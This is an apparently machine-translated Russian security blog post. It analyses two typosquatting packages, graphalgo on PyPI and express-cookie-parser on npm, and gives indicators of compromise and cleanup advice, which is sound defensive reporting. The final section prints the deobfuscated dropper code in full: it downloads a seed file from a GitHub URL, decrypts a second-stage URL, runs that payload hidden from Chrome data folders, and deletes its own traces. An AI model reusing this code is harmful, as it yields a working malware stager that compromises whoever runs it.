Недавно компания Xygeni обнаружила тревожную тенденцию в ландшафте атак на цепочки поставок программного обеспечения в 2025 году., появляющийся в двух популярных менеджерах пакетов: PyPI и НПМ. В рамках наших постоянных усилий по сбору информации об угрозах,Система раннего оповещения о вредоносном ПО (MEW) от Xygeni инструмент идентифицировал отдельный, но методологически похожий экземпляр вредоносного пакета, загруженного в другой реестр ранее. Этот случай подчеркивает, как субъекты угроз развиваются и повторно используют методы атак в разных экосистемах, особенно через вредоносные пакеты Python и вредоносные пакеты npm, что увеличивает риск проникновения вредоносных пакетов в цепочки поставок ПО с открытым исходным кодом.
MEW от Xygeni: находим сходства
Инструмент MEW от Xygeni создан для обнаружения и пометки вредоносных пакетов, особенно тех, которые связаны с атаками на цепочку поставок программного обеспечения в 2025 году, как только они публикуются в реестрах с открытым исходным кодом. Он работает, анализируя новые пакеты на предмет подозрительного поведения.
В данном случае были выявлены два вредоносные пакеты Python (graphalgo на PyPI) и вредоносные пакеты npm (express-cookie-parser на нпм).
Вредоносные пакеты Python и npm в атаках на цепочку поставок программного обеспечения (2025)
Давайте рассмотрим общие характеристики, которые вызвали наши оповещения:
Typosquatting
Они оба пытались выдать себя за популярные существующие пакеты.
- графалго (PyPI)"Пакет Python для создания и управления графами и сетями.” Загружено пользователем по имени «Ларритех» 13 июня 2025 года этот пакет представил себя как альтернативу PyPi исходному не вредоносному проекту graphalgo, который позже был переименован в graphdict.
- экспресс-парсер cookie (npm): Этот пакет имитировал известный пакет cookie-parser, даже зеркально отражая его README.md. Такое выдавание себя за другое лицо является классической тактикой использования существующего доверия.
Запутывание как первая линия обороны
Оба пакета скрыли свой вредоносный код внутри исходных файлов. графалго, запутанный код был найден внутри /utils/load_libraries.py. В случае экспресс-парсер cookie-файлов, cookie-loader.min.js содержал замаскированную полезную нагрузку.
Этот начальный уровень обфускации обычно используется для того, чтобы помешать случайной проверке и статическому анализу. Обфускация была довольно простой: повторное сжатие ZLib плюс кодирование Base64. Этот тип обфускации ясно указывает на то, что программное обеспечение пытается скрыть свое поведение. Наряду с другими доказательствами это позволило Xygeni MEW классифицировать пакеты как потенциально вредоносное ПО. На этапе подтверждения наши рецензенты оперативно подготовили сценарий деобфускации, который выявил явно вредоносный этап дроппера.
Многоэтапная доставка полезной нагрузки и общая точка отправления
Оба пакета функционировали как первоначальные «капельницы», подготавливая почву для реальной полезной нагрузки. Они разделяли общую внешнюю «семя» URL-адрес файла:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Этот идентичный внешний файл seed является сильным индикатором общего субъекта угрозы. Интересно, что содержимое этого файла seed, по-видимому, представляет собой простые переменные среды (например, JWT_SECRET, PORT), что потенциально вводит в заблуждение при проверке его фактической функции.
Динамическое разрешение C2 с DGA
Сложная тактика, наблюдаемая в этих вредоносных пакетах, заключается в использовании алгоритма генерации домена (DGA) для динамического разрешения сервера управления и контроля (C2). Эта техника, часто встречающаяся в атаках на цепочку поставок программного обеспечения в 2025 году, основана на хэше SHA256, полученном из содержимого файла seed, в сочетании с другими жестко закодированными значениями. При этом инфраструктура C2 часто меняется, что делает традиционные черные списки гораздо менее эффективными. В этом случае вариант npm использовал фиксированное значение 496AAC7E как часть логики DGA.
Установление постоянства
Оба нападавших стремились установить длительное присутствие на затронутых системах. Их стратегия включала сброс файла, startup.py (для PyPi) или startup.js (для npm) в общие каталоги пользовательских данных Google Chrome в различных операционных системах (Windows, Linux, macOS).
Уборка после казни
Чтобы минимизировать следы, оба вредоносных скрипта выполнили операции по очистке. Это включало удаление их начальных файлов дроппера (load_libraries.py, cookie-loader.min.js) и изменение легитимных файлов пакетов (__init__.py, index.js) для удаления ссылок на теперь уже удаленные компоненты.
Индикаторы компрометации вредоносных пакетов Python и npm
- Пакет PyPI: graphalgo (опубликовано larrytech, 13 июня 2025 г.)
- Пакет npm: express-cookie-parser (конкретно версия 1.4.12)
- Доступ к URL-адресу общего семени:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Постоянные имена файлов:
startup.py(Питон),startup.js(JavaScript) - Общие постоянные пути (зависят от ОС): В каталогах пользовательских данных Google Chrome (например,
AppData\Local\Google\Chrome\UserData\Scripts\в Windows,~/.config/google-chrome/Scripts/на Linux и т. д.).
Как защититься от вредоносных пакетов при атаках на цепочку поставок программного обеспечения в 2025 году
Рекомендуемый подход для разработчиков
Этот инцидент служит ценным примером развития ландшафта угроз атак на цепочки поставок программного обеспечения в 2025 году. Он показывает, как вредоносные пакеты Python и вредоносные пакеты npm могут проникнуть в доверенные экосистемы, часто избегая обнаружения до тех пор, пока не станет слишком поздно. Вот почему раннее обнаружение, интеллектуальные инструменты и проактивная гигиена системы теперь являются неотъемлемыми частями любого безопасного рабочего процесса DevOps. Разработчикам рекомендуется учитывать следующее:
Обзор зависимости
Если ваши проекты включают графалго or экспресс-парсер cookie-файлов, было бы разумно приступить к их удалению.
- Для PyPI:
pip uninstall graphalgo - Для НПМ:
npm uninstall express-cookie-parser
Гигиена системы
Рассмотрите возможность проведения комплексного сканирования системы. Также рекомендуется вручную проверить общие пути каталогов данных пользователя Chrome на предмет непредвиденных startup.py or startup.js файлы.
Проактивные меры безопасности
- Оцените новые зависимости: Разработайте процедуру тщательной оценки новых пакетов перед интеграцией, уделяя особое внимание пакетам от незнакомых издателей.
- Интеграция инструментов безопасности: Инструменты, такие как MEW от Xygeni, а также другие анализаторы состава программного обеспечения (SCA) решения могут обеспечить критически важный уровень защиты, выявляя подозрительное поведение и уязвимости.
- Наименее привилегия: Использование сред разработки с принципом наименьших привилегий может помочь ограничить потенциальное влияние компрометации.
- Сетевая осведомленность: Мониторинг исходящего сетевого трафика на предмет необычных подключений иногда может выявить сгенерированные DGA C2-сообщения.
Ключевые компоненты load_libraries.py (из графалго)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Обрабатывает загрузку файлов с указанных URL-адресов.run_process(): выполняет внешние скрипты Python в отстраненном режиме, подавляя вывод, чтобы оставаться конфиденциальным.get_output_file_path(): Определяет идеальное системное местоположение для постоянного файла startup.py.remove_self(): Организует очистку исходных вредоносных файлов и модификаций пакетов после выполнения.simple_shift_encrypt()/simple_shift_decrypt(): Пользовательские криптографические функции для сокрытия каналов связи, имеющие решающее значение для реализации DGA.load_libraries(): Центральная функция, которая координирует весь многоэтапный процесс, от начальной загрузки до окончательного выполнения полезной нагрузки и очистки.
Последствия
Как и в случае с другими потенциально вредоносными пакетами, выявленными MEW, брандмауэр зависимостей немедленно защитил пользователей, которые включили бы эти вредоносные пакеты в свои зависимости. После подтверждения мы выполнили процедуры уведомления для обоих реестров, которые после проверки удалили оба пакета.





